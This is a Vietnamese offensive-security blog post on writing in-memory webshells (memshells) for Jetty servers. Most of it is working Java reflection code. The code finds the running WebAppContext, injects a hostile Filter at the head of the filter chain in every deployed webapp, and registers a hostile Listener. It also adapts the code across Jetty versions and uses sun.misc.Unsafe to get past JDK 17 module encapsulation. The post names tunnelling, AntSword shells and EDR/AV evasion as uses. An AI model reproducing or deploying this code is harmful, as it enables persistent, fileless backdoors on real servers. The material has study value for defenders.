Dạo gần đây mình có gặp một số dự án sử dụng Jetty làm Web Server, hầu như các dự án trước toàn dùng tool public để gen memshell nhưng vẫn cần hiểu thêm về cách hoạt động để sau này có thể custom tùy ý cho các mục đích khác như set up tunnel, tool,... Bài này mình sẽ đi từ đầu tại sao Jetty lại khác Tomcat, cách tìm ra WebAppContext trong bộ nhớ, rồi sau đó inject Memshell.
1. Jetty và Tomcat
Để viết Memshell Jetty, chúng ta nên có cái nhìn đối chiếu với Tomcat – Web Server phổ biến nhất trong giới Java.
Request Pipeline

Tomcat: Request đi qua Connector → CoyoteAdapter chuyển đổi sang Catalina request → chạy qua Pipeline/Valve theo thứ tự Engine → Host → Context → Wrapper → vào FilterChain → Servlet.
Jetty: Request tiếp nhận qua Connector → được parse và quản lý lifecycle tại HttpChannel → đẩy lên Server.handle() → đi qua Handler Tree: ContextHandlerCollection điều hướng đến đúng WebAppContext (ContextHandler + classloader isolation) → vào ServletHandler → FilterChain → Servlet.
Do kiến trúc khác nhau, Memshell injection cũng khác nhau:
- Tomcat có thể cắm Valve Memshell ở nhiều tầng (Host, Context), hoạt động ngoài Servlet spec. Điều này có nghĩa là kẻ tấn công có nhiều "điểm cắm" hơn dọc theo pipeline.
- Jetty: Handler Memshell, Listener Memshell (inject EventListener qua addEventListener hoặc _eventListeners), Filter Memshell (inject vào _filterMappings của ServletHandler), và Servlet Memshell (inject vào _servletMappings),…
2. Filter
Trong Jetty, mỗi web application được quản lý bởi một WebAppContext — đây là trung tâm chứa toàn bộ state của ứng dụng. Bên trong WebAppContext có một component quan trọng là ServletHandler, chịu trách nhiệm duy trì danh sách các Filter và Servlet đã đăng ký, đồng thời build FilterChain để xử lý từng request đến.
Khi một request đến, ServletHandler không build FilterChain lại từ đầu mỗi lần mà cache lại theo URL pattern. Chỉ khi cache bị invalidate (hoặc khi Filter mới được thêm vào), nó mới đọc lại danh sách _filterMappings và build chain mới.
Để inject Filter Memshell thành công cần phải lấy được:
- WebAppContext — container chính của ứng dụng, từ đây mới lấy được ServletHandler.
- ServletHandler — nơi lưu _filters[] và _filterMappings[]. Đây là đích đến cuối cùng để nhét filter độc hại vào.
Với addFilterWithMapping() Jetty tự động tạo FilterMapping và append vào cuối _filterMappings
FilterHolder filterHolder = new FilterHolder(new MyFilter());
filterHolder.setName("MyFilter");
servletHandler.addFilterWithMapping(filterHolder, "/*", EnumSet.of(DispatcherType.REQUEST));
Lấy ServletHandler
Để lấy được ServletHandler có thể sử dụng tool Java Object Searcher để dump toàn bộ object graph đang tồn tại trong JVM và tìm ra đường đi tới ServletHandler.
Kết quả dump cho thấy có hai vector để tìm ra WebAppContext:
Vector 1: Qua WebAppClassLoader
TargetObject = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [17] = {java.lang.Thread}
---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}

Khi Jetty chạy một file WAR, nó tạo ra một WebAppClassLoader riêng để cô lập thư viện của từng ứng dụng. ClassLoader này giữ trực tiếp một tham chiếu tới WebAppContext của ứng dụng đó thông qua trường _context.
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception e) {
// fallback
}
}Giới hạn: Vector này chỉ hoạt động khi Jetty chạy theo mô hình WAR có WebAppContext. Nếu là Embedded Jetty dùng addServlet với ServletContextHandler (không deploy WAR), sẽ không có WebAppClassLoader và vector này sẽ fail.
Vector 2: Qua ThreadLocal → HttpConnection
TargetObject = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [16] = {java.lang.Thread}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [7] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.eclipse.jetty.server.HttpConnection}
---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp}
---> _request = {org.eclipse.jetty.server.Request}Khi Jetty xử lý một HTTP request, nó lưu đối tượng HttpConnection vào ThreadLocal của luồng đang xử lý. Từ HttpConnection có thể đi theo chuỗi: _channel → _request → _context → this$0 để lấy ra WebAppContext.
Lưu ý quan trọng: _context ở đây là WebAppContext$Context — một inner class của WebAppContext. Inner class luôn giữ tham chiếu ngược lại outer class thông qua trường synthetic tên là this$0. Do đó phải lấy this$0 thay vì dùng trực tiếp _context.


_context là WebAppContext$Context (inner class) → cần this$0

Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null) continue;
for (Object entry : table) {
if (entry == null) continue;
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
Object channel = getFieldValue(value, "_channel");
Object request = getFieldValue(channel, "_request");
Object context = getFieldValue(request, "_context");
return getFieldValue(context, "this$0");
}
}Ưu điểm của vector này: Hoạt động trên nhiều cấu hình Jetty phổ biến — WAR hay Embedded, WebAppContext hay ServletContextHandler. Nó đi theo luồng dữ liệu HTTP thực tế nên chỉ cần server đang xử lý request là sẽ tìm được.
Kết hợp cả hai vector
Trên thực tế, một payload mạnh sẽ thử vector 1 trước (nhanh hơn), rồi fallback xuống vector 2 nếu thất bại:
public static Object getWebAppContextViaThreadLocal() throws Exception {
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
// WebAppClassLoader → _context = WebAppContext trực tiếp
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception ignored) {
}
}
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null) continue;
for (Object entry : table) {
Object value = getFieldValue(entry, "value");
if (value == null) continue;
String className = value.getClass().getName();
if (className.equals("org.eclipse.jetty.server.HttpConnection")) {
try {
Object channel = getFieldValue(value, "_channel");
Object request = getFieldValue(channel, "_request");
Object context = getFieldValue(request, "_context"); // WebAppContext$Context
return getFieldValue(context, "this$0"); // WebAppContext
} catch (Exception ignored) {
}
}
}
}
return null;
}
Inject Filter
Sau khi có WebAppContext, bước tiếp theo là lấy ServletHandler và inject filter vào. Thay vì gọi hàm API addFilterWithMapping của Jetty, ta dùng Reflection để chèn thẳng vào mảng dữ liệu trong bộ nhớ.
static {
try {
Object webAppContext = getWebAppContextViaThreadLocal();
if (webAppContext != null) {
Object servletHandler = getFieldValue(webAppContext, "_servletHandler");
if (servletHandler != null) {
// Kiểm tra filter đã tồn tại chưa — source of truth
Object existingFilter = invokeMethod(servletHandler, "getFilter",
new Class[]{String.class}, new Object[]{FILTER_NAME});
if (existingFilter == null) {
ClassLoader webAppLoader = webAppContext.getClass().getClassLoader();
Class<?> holderClazz = webAppLoader.loadClass("org.eclipse.jetty.servlet.FilterHolder");
Class<?> mappingClazz = webAppLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
// Load FilterMem vào đúng WebAppClassLoader bằng defineClass
// Tránh ClassCastException khi cast sang Filter interface
Class<?> filterMemClass;
// Chưa có → defineClass vào WebAppClassLoader
String className = FilterMem.class.getName();
String classPath = className.replace('.', '/') + ".class";
InputStream is = FilterMem.class.getClassLoader()
.getResourceAsStream(classPath);
byte[] classBytes = is.readAllBytes();
is.close();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
filterMemClass = (Class<?>) defineClass.invoke(
webAppLoader, className, classBytes, 0, classBytes.length);
// Tạo instance từ WebAppClassLoader — Filter interface match
Filter filterInstance = (Filter) filterMemClass.getDeclaredConstructor().newInstance();
// Tạo FilterHolder
Object filterHolder = holderClazz.getConstructor(Filter.class)
.newInstance(filterInstance);
invokeMethod(filterHolder, "setName",
new Class[]{String.class}, new Object[]{FILTER_NAME});
// Tạo FilterMapping
Object filterMapping = mappingClazz.getDeclaredConstructor().newInstance();
invokeMethod(filterMapping, "setFilterName",
new Class[]{String.class}, new Object[]{FILTER_NAME});
invokeMethod(filterMapping, "setPathSpecs",
new Class[]{String[].class}, new Object[]{new String[]{"/*"}});
invokeMethod(filterMapping, "setDispatches",
new Class[]{int.class}, new Object[]{1});
// Bước 1: addFilter() → Filter.init() được gọi + cập nhật _filterNameMap
Method addFilterMethod = servletHandler.getClass()
.getDeclaredMethod("addFilter", holderClazz);
addFilterMethod.setAccessible(true);
addFilterMethod.invoke(servletHandler, filterHolder);
// Bước 2: Lấy mảng mapping cũ
Object[] oldMappings = (Object[]) getFieldValue(servletHandler, "_filterMappings");
// Bước 3: Build mảng mới, mapping ở index [0]
Object[] newMappings;
if (oldMappings != null && oldMappings.length > 0) {
newMappings = (Object[]) Array.newInstance(mappingClazz, oldMappings.length + 1);
newMappings[0] = filterMapping;
System.arraycopy(oldMappings, 0, newMappings, 1, oldMappings.length);
} else {
newMappings = (Object[]) Array.newInstance(mappingClazz, 1);
newMappings[0] = filterMapping;
}
// Bước 4: Set mapping qua setter, fallback sang field
try {
Method setMappingsMethod = servletHandler.getClass()
.getDeclaredMethod("setFilterMappings", newMappings.getClass());
setMappingsMethod.setAccessible(true);
setMappingsMethod.invoke(servletHandler, (Object) newMappings);
} catch (NoSuchMethodException e) {
setFieldValue(servletHandler, "_filterMappings", newMappings);
}
// Bước 5: Invalidate chain cache
try {
invokeMethod(servletHandler, "invalidateChainsCache",
new Class[]{}, new Object[]{});
} catch (Exception e) {
try {
setFieldValue(servletHandler, "_filterChains", null);
} catch (Exception ignored) {}
}
}
}
}
} catch (Exception e) {
// ignore
}
}
Bước invalidateChainsCache() là do ServletHandler cache lại FilterChain theo URL pattern để tăng hiệu năng. Nếu chỉ thay mảng mà không invalidate cache, Jetty sẽ tiếp tục dùng chain cũ và filter của ta sẽ không được gọi.
Inject memshell

Trigger thành công.

Problem
1. Jetty Version
Ở phần trước, đoạn PoC chỉ phù hợp với Jetty 7, 8, 9 do internal structure của Jetty 9 và Jetty 10, 11, 12 đã thay đổi.
Để tạo mem phù hợp với version khác thì check xem nó thay đổi như thế nào
| Phiên bản Jetty | Servlet API (Package Filter/Mapping) | Jetty Servlet Package (FilterHolder / ServletHolder) |
|---|---|---|
| Jetty 6 | javax.servlet | org.mortbay.jetty.servlet |
| Jetty 7, 8, 9 | javax.servlet | org.eclipse.jetty.servlet |
| Jetty 10 | javax.servlet (Jakarta EE 8) | org.eclipse.jetty.servlet |
| Jetty 11 | jakarta.servlet (Jakarta EE 9+) | org.eclipse.jetty.servlet |
| Jetty 12 (EE8 Environment) | javax.servlet | org.eclipse.jetty.ee8.servlet |
| Jetty 12 (EE10 Environment) | jakarta.servlet | org.eclipse.jetty.ee10.servlet |
Phần mem trên Jetty 6 chắc để mn tự nghiên cứu thêm. Cách tìm chain với addFilter thì cũng giống như trên.
Jetty 12
Jetty 12 có một số thay đổi đáng chú ý ảnh hưởng trực tiếp tới quá trình lấy WebAppContext và request object từ ThreadLocal.
- Package đổi org.eclipse.jetty.server.HttpConnection -> org.eclipse.jetty.server.internal.HttpConnection do đó chain lấy WebAppContext từ current request cũng thay đổi theo.
- Jetty 12 bổ sung thêm object ServletScopedContext — đây là object mới cho phép truy cập tới ServletContext hoặc ContextHandler theo một chain ngắn hơn so với cách traversal truyền thống qua HttpConnection.
Package của FilterHolder và FilterMapping cũng đã thay đổi. Các class trước đây thuộc namespace org.eclipse.jetty.servlet.* đã được refactor lại theo cấu trúc module mới của Jetty EE10..
// Jetty 12 EE10 classes Class<?> holderClazz = webAppLoader.loadClass("org.eclipse.jetty.ee10.servlet.FilterHolder"); Class<?> mappingClazz = webAppLoader.loadClass("org.eclipse.jetty.ee10.servlet.FilterMapping");Jetty 12 cũng thay đổi cơ chế rebuild filter chain từ invalidateChainsCache() sang updateMappings(), khiến nhiều payload dynamic filter injection cũ không còn hoạt động nếu không cập nhật lại mapping lifecycle phù hợp.
for (String m: new String[] { "invalidateChainsCache", "updateMappings" }) { try { invokeMethod(servletHandler, m, new Class[] {}, new Object[] {}); break; } catch (Exception ignored) {} }
Do đó có thay đổi lại cách gọi Filter Chain
Path 1 — Từ HttpConnection
HttpConnection
→ _connector (ServerConnector)
→ _server (Server)
→ _handler (WebAppContext)
→ _servletHandler
Path 2 — Qua _httpChannel → _stream → _context
HttpConnection
→ _httpChannel (HttpChannelState)
→ _stream (SessionStreamWrapper)
→ _context (ServletScopedContext)
→ this$0 (WebAppContext)
→ _servletHandler
Path 3 — Từ ServletScopedContext trực tiếp (object mới):
ServletScopedContext
→ this$0 (WebAppContext)
→ _servletHandlerTừ đó getWebAppContextViaThreadLocal cho cả 2 version.
public static Object getWebAppContextViaThreadLocal() throws Exception {
for (Thread thread : Thread.getAllStackTraces().keySet()) {
if (thread == null)
continue;
// WebAppClassLoader → _context = WebAppContext trực tiếp
// Hoạt động cả Jetty 9 và Jetty 12
ClassLoader loader = thread.getContextClassLoader();
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
return getFieldValue(loader, "_context");
} catch (Exception ignored) {
}
}
// Duyệt ThreadLocal
try {
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null)
continue;
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null)
continue;
for (Object entry : table) {
if (entry == null)
continue;
Object value = getFieldValue(entry, "value");
if (value == null)
continue;
String className = value.getClass().getName();
// HttpConnection → _httpChannel → _stream → _context → this$0
if (className.contains("HttpConnection")) {
try {
Object httpChannel = getFieldValue(value, "_httpChannel");
Object stream = getFieldValue(httpChannel, "_stream");
Object context = getFieldValue(stream, "_context");
return getFieldValue(context, "this$0");
} catch (Exception ignored) {
}
}
// ServletScopedContext → this$0 = WebAppContext (Jetty 12)
if (className.contains("ServletScopedContext")) {
try {
return getFieldValue(value, "this$0");
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
}
return null;
}
2. Hệ thống sử dụng 2 webapp
Ở đoạn code trên getWebAppContextViaThreadLocal() hiện tại trả về WebAppContext đầu tiên tìm được rồi dừng lại ngay. Điều này dẫn đến khi server deploy nhiều webapp đồng thời, chỉ có webapp được tìm thấy trước mới bị inject filter — các webapp còn lại hoàn toàn không bị ảnh hưởng.
static {
try {
List<Object> webAppContexts = getAllWebAppContexts();
for (Object webAppContext : webAppContexts) {
...
}
}
public static List<Object> getAllWebAppContexts() throws Exception {
List<Object> result = new ArrayList<>();
Set<Object> seen = new HashSet<>(); // tránh duplicate
...
for (Thread thread : Thread.getAllStackTraces().keySet()) {
...
if (loader != null && loader.toString().contains("WebAppClassLoader")) {
try {
Object ctx = getFieldValue(loader, "_context");
if (ctx != null && seen.add(ctx)) {
result.add(ctx);
}
} catch (Exception ignored) {}
}
// Duyệt ThreadLocal
try {
Object threadLocals = getFieldValue(thread, "threadLocals");
...
if (className.contains("WebAppContext")) {
if (seen.add(value)) result.add(value);
}
if (className.contains("HttpConnection")) {
try {
...
if (webAppContext != null && seen.add(webAppContext)) {
result.add(webAppContext);
}
} catch (Exception ignored) {}
}
} catch (Exception ignored) {}
}
return result;
}
3. Listener
Cách lấy WebAppContext của Listener gần giống với Filter vì cả hai đều phải hook vào runtime của servlet container đang chạy. Sau khi lấy được WebAppContext, ta có thể truy cập xuống ServletHandler để thêm listener mới vào hệ thống.
private static void injectListener(Object webAppContext) throws Exception {
// Kiểm tra xem listener đã được inject chưa
try {
Object marker = getFieldValue(webAppContext, LISTENER_ID);
if (marker != null) return; // đã inject rồi
} catch (Exception ignored) {}
// Load class vào WebAppClassLoader
ClassLoader webAppLoader = webAppContext.getClass().getClassLoader();
String className = ListenerMem.class.getName();
String classPath = className.replace('.', '/') + ".class";
InputStream is = ListenerMem.class.getClassLoader().getResourceAsStream(classPath);
byte[] classBytes = is.readAllBytes();
is.close();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class <? > listenerClass = (Class <? > ) defineClass.invoke(webAppLoader, className, classBytes, 0, classBytes.length);
ServletRequestListener listenerInstance =
(ServletRequestListener) listenerClass.getDeclaredConstructor().newInstance();
// Sử dụng API của Jetty để đăng ký Listener
try {
Class <? > eventListenerClass = webAppLoader.loadClass("java.util.EventListener");
invokeMethod(webAppContext, "addEventListener",
new Class[] {
eventListenerClass
}, new Object[] {
listenerInstance
});
} catch (Exception ignored) {}
}
Listener linh hoạt hơn Filter vì cơ chế addEventListener(EventListener) gần như được giữ nguyên qua các phiên bản Jetty. Dù Jetty thay đổi package từ org.eclipse.jetty.servlet.* sang org.eclipse.jetty.ee10.servlet., hoặc chuyển từ javax.servlet. sang jakarta.servlet.*, bản chất của java.util.EventListener và lifecycle event vẫn không thay đổi nhiều.
Problem
Đang có một vấn đề khá lớn khi triển khai các kỹ thuật runtime injection trên môi trường Java hiện đại, đặc biệt là từ JDK 17 trở lên. Các loại memory-shell hoặc payload thường tận dụng việc hook trực tiếp vào Thread, ThreadGroup, hoặc truy cập các field private bên trong JVM để lần ngược lên context của web application. Tuy nhiên, kể từ khi Java Module System và cơ chế encapsulation được siết chặt, rất nhiều kỹ thuật cũ đã không còn hoạt động ổn định như trước.
Trên JDK 8 và 11 ở các phiên bản Java cũ, việc sử dụng Reflection để truy cập private field thường khá đơn giản. Chỉ cần gọi hàm setAccessible(true) là đã có thể đọc được hầu hết internal object của JVM hoặc servlet container. Dù warning "Illegal reflective access" nhưng vẫn cho chạy.

Từ JDK 17 cơ chế strong encapsulation của Module System đã hạn chế các hành vi reflection vào internal package. Những đoạn code từng hoạt động trên Java cũ giờ đây sẽ xảy ra Exception.

Một khái niệm rất quan trọng trong cơ chế này là unnamed module. Hầu hết các class được load động thông qua ClassLoader, URLClassLoader, WebAppClassLoader hoặc được define runtime bằng defineClass() nhưng không có module-info.java đều sẽ được JVM đưa vào một module đặc biệt gọi là unnamed module.
Điều này có nghĩa là phần lớn payload, memory-shell hoặc class được inject runtime thực chất đều không thuộc về một module “chính thức” nào của hệ thống. JVM xem các class này như code bên ngoài và không hoàn toàn đáng tin cậy.
Ví dụ các class core của Java như: java.lang.String, java.lang.Thread, java.lang.ClassLoader đều nằm trong module java.base
Trong khi payload được load runtime thường sẽ nằm trong unnamed module. Khi payload cố thực hiện deep reflection setAccessible(true). JVM sẽ kiểm tra module của class hiện tại có được phép truy cập internal member của module đích hay không. Nếu unnamed module cố truy cập vào private member bên trong java.base, JVM sẽ chặn ngay lập tức.
Để bypass sử dụng sun.misc.Unsafe. Điểm đặc biệt của Unsafe là nó không hoạt động theo cơ chế reflection thường mà thao tác trực tiếp lên memory của JVM. Unsafe sẽ sửa trực tiếp dữ liệu internal của object trong memory.
Đầu tiên payload sẽ khởi tạo và lấy instance của sun.misc.Unsafe. Do constructor của Unsafe được khai báo private nên không thể khởi tạo trực tiếp bằng new Unsafe(). Thay vào đó payload sẽ sử dụng Reflection để truy cập vào static field theUnsafe.

Sau khi có được object Unsafe, bước tiếp theo là lấy module “trusted” của JVM là Object.class. Vì Object.class thuộc package java.lang nên module trả về sẽ là java.base.
Tiếp theo payload cần xác định vị trí của field module bên trong object YourClass.class. Điều này được thực hiện thông qua method của Unsafe. Method này sẽ trả về offset của field trong memory, tức số byte tính từ đầu object tới vị trí field cần truy cập.

Sau khi lấy được offset, payload sử dụng method getAndSetObject để thay đổi module của YourClass tại vị trí memory đó, từ unnamed module thành module của java.base.

Sau khi patch hoàn tất, JVM coi payload như đang thuộc cùng module với các class core của Java. Điều này khiến các lời gọi setAccessible(true) không còn bị chặn nữa, từ đó payload có thể tiếp tục reflection vào các internal method như ClassLoader.defineClass()

Inject Mem

Trigger thành công.

Tóm gọn
Bài viết mô tả cách hoạt động của Listenner MemShell và Filter MemShell trên Jetty. Tùy theo phiên bản Jetty, Java hoặc môi trường triển khai, các kỹ thuật này có thể được custom lại cho nhiều mục đích khác nhau như tunnel (suo5), AntSword shell, hoặc bypass một số cơ chế EDR/AV.
Có thể sử dụng một số tool public như Java MemShell Generator hoặc MemParty để generate MemShell nhanh. Nó hơi chập chờn tí và nhiều lúc không đưa ra kết quả mong muốn nên hiểu rõ cơ chế hoạt động giúp dễ dàng debug và custom lại payload cho phù hợp với từng dự án.
Các kỹ thuật khác như Handler MemShell, Servlet MemShell,... thì hẹn mn ở những bài viết tiếp theo (hoặc không).
By luk6785
